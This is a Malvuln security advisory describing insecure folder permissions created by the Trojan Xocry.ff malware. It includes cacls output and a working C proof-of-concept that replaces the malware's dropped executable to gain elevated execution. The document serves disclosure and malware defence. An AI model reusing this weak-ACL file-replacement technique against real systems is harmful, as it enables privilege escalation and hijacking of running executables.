Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/8f13116d46a7097e14ef971d48d6a203.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan.Win32.Xocry.ff
Vulnerability: Insecure Permissions 
Description: Trojan Xocry.ff creates its c:\ProgData directory with an insecure ACL, handing over change permissions to any authenticated user allowing EoP.
Type: PE32
MD5: 8f13116d46a7097e14ef971d48d6a203
Vuln ID: MVID-2021-0050
Dropped files:  C:\Users\[VICTIM]\AppData\Local\Temp\[RANDOM-NAME].exe 
Disclosure: 01/23/2021


Exploit/PoC:
C:\>cacls C:\ProgData\ProgData.exe
C:\ProgData\ProgData.exe BUILTIN\Administrators:(ID)F
                         NT AUTHORITY\SYSTEM:(ID)F
                         BUILTIN\Users:(ID)R
                         NT AUTHORITY\Authenticated Users:(ID)C

#include "stdio.h"
#include "windows.h"
#define TARGET "C:\\ProgData\\ProgData.exe"
#define TMP "C:\\ProgData\\2.exe"
#define DISABLED_TARGET "C:\\ProgData\\666.tmp"

/* Trojan.Win32.Xocry.ff.8f13116d46a7097e14ef971d48d6a203 */
/* Insecure Permissions EoP */
/*  By Malvuln */

BOOL PWNED=FALSE;

BOOL FileExists(LPCTSTR szPath){
  DWORD dwAttrib = GetFileAttributes(szPath);
  return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}

void main(void){
  if(!FileExists(DISABLED_TARGET)){
  	CopyFile(TARGET, TMP, FALSE);
  	Sleep(1000);
    CopyFile(TMP, DISABLED_TARGET, FALSE);
    printf("[+] Trojan.Win32.Xocry.ff EoP PoC\n");
    Sleep(1000);
    printf("[+] Disabled Dropped ProgData.exe ...\n");
    Sleep(300);
   }else{
  	 PWNED=TRUE;
   }
    if(!PWNED){
     	char fname[MAX_PATH];
        char newLoc[]=TARGET;
        DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
       if (size){
         printf("[+] Copying exploit to vuln ProgData dir...\n");
         Sleep(1000);
         CopyFile(fname, TARGET, FALSE);
         printf("[+] Replaced ProgData EXE...\n");
         printf("[+] Done!\n");
         exit(0);
        }
    }else{
    	if(FileExists(TMP)){
    		 remove(TMP);
    	}
     	printf("[+] Trojan.Win32.Xocry.ff PWNED!\n");
     	printf("[+] MD5: 8f13116d46a7097e14ef971d48d6a203\n");
     	printf("[+] By Malvuln\n");
     	system("pause");
     }
}



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